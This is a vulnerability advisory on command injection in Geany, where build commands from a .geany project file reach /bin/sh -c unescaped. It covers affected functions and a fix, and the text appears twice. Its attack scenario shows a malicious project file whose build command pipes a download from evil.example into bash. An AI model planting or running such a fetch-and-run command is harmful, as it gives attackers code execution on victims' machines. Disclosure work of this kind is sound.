Geany — Command Injection via Project File Build Commands
| Field |
Value |
| Severity |
Critical |
| CVSS |
8.4 (AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H) |
| CWE |
CWE-78: OS Command Injection |
| File |
src/build.c |
| Lines |
716, 743–745, 2308–2377 |
| Affected Functions |
build_spawn_cmd(), build_load_menu(), on_build_menu_item() |
| Platform |
All (Unix shell path; Windows via CreateProcessW()) |
| Product |
https://github.com/geany/geany/releases/tag/2.1.0 |
Description
Build commands stored in the [build-menu] section of a .geany project file are loaded by build_load_menu() and later passed directly to /bin/sh -c with zero shell escaping. An attacker who provides a malicious project file can achieve full remote code execution when the victim opens the project and triggers any build action (Compile, Build, Make, Run).
The project file format is a standard GKeyFile (INI-style). Build commands are stored as key-value pairs such as:
[build-menu]
NF_00_LB=Make
NF_00_CM=make -j4
NF_00_WD=%p
These values are loaded by build_load_menu() at line 2308 via g_key_file_get_string() and stored directly into GeanyBuildCommand structures. No sanitization, validation, or escaping is performed.
When the user triggers a build action, build_spawn_cmd() (line 713) constructs the execution environment:
// build.c:743-745
cmd_string = utils_get_locale_from_utf8(cmd);
argv[2] = cmd_string; // NO g_shell_quote() applied!
The command is then passed to spawn_with_callbacks() with the argument vector {"/bin/sh", "-c", cmd_string, NULL}, meaning the entire attacker-controlled string is interpreted as a shell script by /bin/sh.
Attack Scenario
-
Attacker creates a file named evil.geany:
[project]
name=Demo
base_path=./
[build-menu]
NF_00_LB=Make
NF_00_CM=make; curl http://evil.example/payload.sh | bash
NF_00_WD=%p
-
Attacker distributes the file to the victim — via a shared Git repository, email, forum post, or any social engineering vector.
-
Victim opens evil.geany in Geany (Project → Open, or double-click).
-
Victim presses F9 (Build) or clicks Build → Make.
-
/bin/sh -c "make; curl http://evil.example/payload.sh | bash" executes.
-
Full RCE achieved — the attacker's payload runs with the victim's user privileges.
Impact
- Confidentiality: Complete. Attacker can exfiltrate source code and sensitive files.
- Integrity: Complete. Attacker can modify any user-accessible file.
- Availability: Complete. Attacker can delete or encrypt files.
Recommended Fix
Replace the /bin/sh -c invocation in build_spawn_cmd() with a direct execve() call via the argument vector path that spawn_async_with_pipes() already supports internally. The shell wrapper is unnecessary — the spawn module already parses the command line with g_shell_parse_argv() on Unix and passes arguments to g_spawn_async_with_pipes() which uses execve() directly.
If a shell is absolutely required, apply g_shell_quote() to every user-controlled value (filenames from %e, %f, %d, %p placeholders, and the command strings themselves) before constructing the -c argument.
Additionally, warn the user when opening a project file that contains custom build commands, especially from an untrusted source.
References in Code
src/build.c:713–771 — build_spawn_cmd()
src/build.c:2308–2377 — build_load_menu() (GEANY_BCS_PROJ case)
src/build.c:744–745 — /bin/sh -c construction
src/spawn.c:515–803 — spawn_async_with_pipes()
Geany — Command Injection via Project File Build Commands
src/build.cbuild_spawn_cmd(),build_load_menu(),on_build_menu_item()CreateProcessW())Description
Build commands stored in the
[build-menu]section of a.geanyproject file are loaded bybuild_load_menu()and later passed directly to/bin/sh -cwith zero shell escaping. An attacker who provides a malicious project file can achieve full remote code execution when the victim opens the project and triggers any build action (Compile, Build, Make, Run).The project file format is a standard GKeyFile (INI-style). Build commands are stored as key-value pairs such as:
These values are loaded by
build_load_menu()at line 2308 viag_key_file_get_string()and stored directly intoGeanyBuildCommandstructures. No sanitization, validation, or escaping is performed.When the user triggers a build action,
build_spawn_cmd()(line 713) constructs the execution environment:The command is then passed to
spawn_with_callbacks()with the argument vector{"/bin/sh", "-c", cmd_string, NULL}, meaning the entire attacker-controlled string is interpreted as a shell script by/bin/sh.Attack Scenario
Attacker creates a file named
evil.geany:Attacker distributes the file to the victim — via a shared Git repository, email, forum post, or any social engineering vector.
Victim opens
evil.geanyin Geany (Project → Open, or double-click).Victim presses F9 (Build) or clicks Build → Make.
/bin/sh -c "make; curl http://evil.example/payload.sh | bash"executes.Full RCE achieved — the attacker's payload runs with the victim's user privileges.
Impact
Recommended Fix
Replace the
/bin/sh -cinvocation inbuild_spawn_cmd()with a directexecve()call via the argument vector path thatspawn_async_with_pipes()already supports internally. The shell wrapper is unnecessary — thespawnmodule already parses the command line withg_shell_parse_argv()on Unix and passes arguments tog_spawn_async_with_pipes()which usesexecve()directly.If a shell is absolutely required, apply
g_shell_quote()to every user-controlled value (filenames from%e,%f,%d,%pplaceholders, and the command strings themselves) before constructing the-cargument.Additionally, warn the user when opening a project file that contains custom build commands, especially from an untrusted source.
References in Code
src/build.c:713–771—build_spawn_cmd()src/build.c:2308–2377—build_load_menu()(GEANY_BCS_PROJ case)src/build.c:744–745—/bin/sh -cconstructionsrc/spawn.c:515–803—spawn_async_with_pipes()